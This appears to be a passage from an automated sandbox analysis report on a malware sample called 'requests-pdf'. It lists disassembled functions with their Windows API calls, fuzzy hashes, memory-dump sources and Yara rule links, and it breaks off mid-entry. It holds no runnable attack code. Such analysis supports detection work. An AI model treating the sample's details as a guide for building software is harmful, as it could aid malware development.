                                                    • Opcode Fuzzy Hash: 10c23660bdf4a559c67b3dd21211c83afc8534fe451efaff8b0d30b37073b707
                                                    • Instruction Fuzzy Hash: C0B18F351106089FD715CF28C586B567BE0FF06325F29869AEC99CF3A2C379E986CB44
                                                    Function 02522339 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,02522334,?,?,00000008,?,?,02525679,00000000), ref: 02522566
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExceptionRaise
                                                    • String ID:
                                                    • API String ID: 3997070919-0
                                                    • Opcode ID: 10c23660bdf4a559c67b3dd21211c83afc8534fe451efaff8b0d30b37073b707
                                                    • Instruction ID: 8de0153d4f8604065f5f9b7ba46079fd1ec3a966b5aeec8f11c423c556c9a5d1
                                                    • Opcode Fuzzy Hash: 10c23660bdf4a559c67b3dd21211c83afc8534fe451efaff8b0d30b37073b707
                                                    • Instruction Fuzzy Hash: 3CB15A352106189FD715CF28C49AB647FA0FF46368F258658EC9ACF2E1C335E995CB44
                                                    Function 00432A49 Relevance: 1.8, Strings: 1, Instructions: 500COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0
                                                    • API String ID: 0-4108050209
                                                    • Opcode ID: d7e2f1edd223cd44d70c9618c0c5ab444609e4c73f269a0cd31c5ec718f0b721
                                                    • Instruction ID: f72c02501a8b687524d4eed2bba9748ce27a8789a4669d3223b659a6f876a8a8
                                                    • Opcode Fuzzy Hash: d7e2f1edd223cd44d70c9618c0c5ab444609e4c73f269a0cd31c5ec718f0b721
                                                    • Instruction Fuzzy Hash: 8002B3727083004BD714DF39D95272EF3E2AFCC758F15492EF499AB391DA78A8058A4A
                                                    Function 02502CB0 Relevance: 1.8, Strings: 1, Instructions: 500COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0
                                                    • API String ID: 0-4108050209
                                                    • Opcode ID: d7e2f1edd223cd44d70c9618c0c5ab444609e4c73f269a0cd31c5ec718f0b721
                                                    • Instruction ID: 25bfab3160caf90447647545b074a88658e6feffc54da4156be24713ac23d3a3
                                                    • Opcode Fuzzy Hash: d7e2f1edd223cd44d70c9618c0c5ab444609e4c73f269a0cd31c5ec718f0b721
                                                    • Instruction Fuzzy Hash: FD02713270C3018BDB14DF39DD95A2EB3E2BFC8754F15492DE985EB380DA74A845CA86
                                                    Function 004510BA Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0045110E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free$InfoLocale_abort
                                                    • String ID:
                                                    • API String ID: 1663032902-0
                                                    • Opcode ID: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                    • Instruction ID: 725ff80feb3504da526bb6f16fdbe645276de1ecdd37ac2f1e7666d8a95350e0
                                                    • Opcode Fuzzy Hash: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                    • Instruction Fuzzy Hash: 2D21B332500606ABDB249A25DC46B7B73A8EB09316F1041BBFE01C6252EB79DD48CB99
                                                    Function 02521321 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 02517185
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 02517192
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 02521375
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$_free$InfoLocale_abort
                                                    • String ID:
                                                    • API String ID: 1663032902-0
                                                    • Opcode ID: a9a0ef56855296d69f28970e91aa7ff08aa6ba5c63fbad7abcadd9e72279b5a0
                                                    • Instruction ID: 198c49b0312291dee9de029bc7dced6577d33b93443e0fc770bdc4d2de75698b
                                                    • Opcode Fuzzy Hash: a9a0ef56855296d69f28970e91aa7ff08aa6ba5c63fbad7abcadd9e72279b5a0
                                                    • Instruction Fuzzy Hash: 3D210632520616ABDF249F19DD40BB777AAFF45310F10417AEC05C69C1EB749848CB58
                                                    Function 02520FA9 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • EnumSystemLocalesW.KERNEL32(00450E6A,00000001,00000000,?,02513F53,?,025216FE,00000000,?,?,?), ref: 0252101B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID:
                                                    • API String ID: 1084509184-0
                                                    • Opcode ID: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                    • Instruction ID: c007f5fa7399a26c97e86c15583773ecb69a2bcd36acf31cf82d92b1090070b7
                                                    • Opcode Fuzzy Hash: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                    • Instruction Fuzzy Hash: 7D1129372007015FDB189F39D89167ABB92FF84358B14842DE94687AC1D375B847CB44
                                                    Function 004512EA Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00451088,00000000,00000000,?), ref: 00451316
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$InfoLocale_abort_free
                                                    • String ID:
                                                    • API String ID: 2692324296-0
                                                    • Opcode ID: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                    • Instruction ID: 964a9937ac5a020d26487979adcc3deadbef587b10f76395f6381cc8137ce6dd
                                                    • Opcode Fuzzy Hash: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                    • Instruction Fuzzy Hash: 10F07D32500111BBEB286A25CC16BFF7758EB00716F15046BEC06A3651FA38FD49C6D4
                                                    Function 02521551 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,025212EF,00000000,00000000,?), ref: 0252157D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$InfoLocale_abort_free
                                                    • String ID:
                                                    • API String ID: 2692324296-0
                                                    • Opcode ID: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                    • Instruction ID: 15478a662a6ddfb7f925b2af6befbc6d949c71d3541de89a7813d099d30e6e09
                                                    • Opcode Fuzzy Hash: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                    • Instruction Fuzzy Hash: 38F0DB32600526ABDB245614C905BBB7B6CFB42314F0545A9EC0AA31C1EB74BE45CED4
                                                    Function 02521044 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • EnumSystemLocalesW.KERNEL32(004510BA,00000001,?,?,02513F53,?,025216C2,02513F53,?,?,?,?,?,02513F53,?,?), ref: 02521090
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID:
                                                    • API String ID: 1084509184-0
                                                    • Opcode ID: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                    • Instruction ID: ac280654d11682b9a36afdbe26d89a494db17cb0b4646d02baa4c4eb37f44c95
                                                    • Opcode Fuzzy Hash: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                    • Instruction Fuzzy Hash: C6F0FF322007055FDB245E399880B7BBB91FB81368B158428EA098B6C1D7B298028A44
                                                    Function 025177FE Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,025139B1,?,00000004), ref: 02517851
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID:
                                                    • API String ID: 2299586839-0
                                                    • Opcode ID: 8dab955c83ead38f4190d8cd68b3baa1d28bcda2227728d0cef18aa89ebed625
                                                    • Instruction ID: ac4a9b50dd6b37396432eeec7be065cb7d11e498cd78b1afc9d041633c71ef17
                                                    • Opcode Fuzzy Hash: 8dab955c83ead38f4190d8cd68b3baa1d28bcda2227728d0cef18aa89ebed625
                                                    • Instruction Fuzzy Hash: AFF0F031A40308BBDB116F64DC01F7EBF66EF48B22F00016AFC0626291DB719E109A9E
                                                    Function 004470AE Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00444ACC: RtlEnterCriticalSection.KERNEL32(?,?,0044225B,00000000,0046DAC0,0000000C,00442216,?,?,?,00448739,?,?,00446F74,00000001,00000364), ref: 00444ADB
                                                    • EnumSystemLocalesW.KERNEL32(00447068,00000001,0046DC48,0000000C), ref: 004470E6
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalEnterEnumLocalesSectionSystem
                                                    • String ID:
                                                    • API String ID: 1272433827-0
                                                    • Opcode ID: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                    • Instruction ID: 877f7ae5c491a2fbf36f534f7b8138893028b6a81f24f5c3744eb9f6a7677366
                                                    • Opcode Fuzzy Hash: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                    • Instruction Fuzzy Hash: F6F04932A10200EFEB04EF68E806B4D77B0EB44725F10816AF414DB2E2DB7889818B49
                                                    Function 02517315 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02514D33: RtlEnterCriticalSection.NTDLL(?), ref: 02514D42
                                                    • EnumSystemLocalesW.KERNEL32(00447068,00000001,0046DC48,0000000C), ref: 0251734D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalEnterEnumLocalesSectionSystem
                                                    • String ID:
                                                    • API String ID: 1272433827-0
                                                    • Opcode ID: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                    • Instruction ID: 5e4edad5f3bb63450ad3debd9cbfc92392dfbb129b2efe6debe2e21161248b25
                                                    • Opcode Fuzzy Hash: 294c88a1965c44704c377604ff0a5917817e93c6b6b84f866ad5a3c5a2dedf6a
                                                    • Instruction Fuzzy Hash: EBF03732A60206EBEB04EF68EC45B4D77A1FB89321F108166F814DB2E0CB7489808F59
                                                    Function 00450CF7 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • EnumSystemLocalesW.KERNEL32(00450C4E,00000001,?,?,?,004514B9,<D,?,?,?,?,?,00443CEC,?,?,?), ref: 00450D2E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID:
                                                    • API String ID: 1084509184-0
                                                    • Opcode ID: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                    • Instruction ID: ec648f77c102ae861fabd43d141f98194b25f4d0b1f390d0839222eb7000fb0b
                                                    • Opcode Fuzzy Hash: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                    • Instruction Fuzzy Hash: CBF05C3D30020557CB159F35D81576B7F94EFC2711B07405AFE098B381C239D846C754
                                                    Function 02520F5E Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • EnumSystemLocalesW.KERNEL32(00450C4E,00000001,?,?,?,02521720,02513F53,?,?,?,?,?,02513F53,?,?,?), ref: 02520F95
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                    • String ID:
                                                    • API String ID: 1084509184-0
                                                    • Opcode ID: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                    • Instruction ID: 8d362d342f9e3f05164c8820db51d26c22fd15287a053c023dbc5674779b1821
                                                    • Opcode Fuzzy Hash: 8c2bccbfd0fc102635c006ca31f830fd57f68f19690e6c985b1f52cdbb333b18
                                                    • Instruction Fuzzy Hash: 42F0553A34020557CB089F39DC04B7ABF90FFC2711F0640A8FA098B2D0C7319842C754
                                                    Function 0040E679 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004145AD,00473EE8,00474A10,00473EE8,00000000,00473EE8,?,00473EE8,5.3.0 Pro), ref: 0040E68D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID:
                                                    • API String ID: 2299586839-0
                                                    • Opcode ID: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                    • Instruction ID: fdf89a5244b67fc368892e36cd71d3b7bc7b33248e42f87f25a9228cb5794c84
                                                    • Opcode Fuzzy Hash: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                    • Instruction Fuzzy Hash: E6D05E607002197BEA109291DC0AE9B7A9CE700B66F000165BA01E72C0E9A0AF008AE1
                                                    Function 024DE8E0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,024E4814,00473EE8,00474A10,00473EE8,00000000,00473EE8,?,00473EE8,0046673C), ref: 024DE8F4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID:
                                                    • API String ID: 2299586839-0
                                                    • Opcode ID: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                    • Instruction ID: 89a533c3f97c29d0b914546acd3243ce1d8cbe676c16a398ab107bde0304c48f
                                                    • Opcode Fuzzy Hash: 5e9075a3806edf431e091a568af27ae769e925cdac090a6302122e919684f26a
                                                    • Instruction Fuzzy Hash: BFD05E607002187BEA1092829C0AE9BBA9CE700B92F000165BA01D72C0E9E0AE008AE1
                                                    Function 004260F7 Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: recv
                                                    • String ID:
                                                    • API String ID: 1507349165-0
                                                    • Opcode ID: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                    • Instruction ID: fbcf0fb35859d26dd0bec2a34c6193cd90ff2e5205aa97c5c9b80f8ed11fde70
                                                    • Opcode Fuzzy Hash: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                    • Instruction Fuzzy Hash: 35B09279118202FFCA051B60DC0887ABEBAABCC381F108D2DB586501B0CA37C451AB26
                                                    Function 00433CD7 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetUnhandledExceptionFilter.KERNEL32(Function_00033CE3,004339B1), ref: 00433CDC
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ExceptionFilterUnhandled
                                                    • String ID:
                                                    • API String ID: 3192549508-0
                                                    • Opcode ID: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                    • Instruction ID: 83953e3dca8a62111c248ad4478ddd9c1373f985a30770e5fc8846644fe13ce9
                                                    • Opcode Fuzzy Hash: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                    • Instruction Fuzzy Hash:
                                                    Function 0043CE3B Relevance: 1.5, Strings: 1, Instructions: 237COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: BG3i@
                                                    • API String ID: 0-2407888476
                                                    • Opcode ID: da6bc0b681a35a8a8cd82b5b62752965acc1f5aabf11132faead2372da36057a
                                                    • Instruction ID: a817909710d0090f483bb13cdd1d1ee80d6dfae79024daed79820ace932836b2
                                                    • Opcode Fuzzy Hash: da6bc0b681a35a8a8cd82b5b62752965acc1f5aabf11132faead2372da36057a
                                                    • Instruction Fuzzy Hash: E361777160070966DA385A2858D6BBF6396EB0DB04F10391BE943FF3C1D61DAD43874E
                                                    Function 0043CC0C Relevance: 1.5, Strings: 1, Instructions: 214COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0
                                                    • API String ID: 0-4108050209
                                                    • Opcode ID: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                    • Instruction ID: e47b97b21f836cd03f295ee90de6feb37cae4df0254a032430ab3cefd666e269
                                                    • Opcode Fuzzy Hash: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                    • Instruction Fuzzy Hash: C851AC3160070457DF388A6985DA7BF6B959B0E700F18352FE48AFB382C60DED02979E
                                                    Function 0250CE73 Relevance: 1.5, Strings: 1, Instructions: 214COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
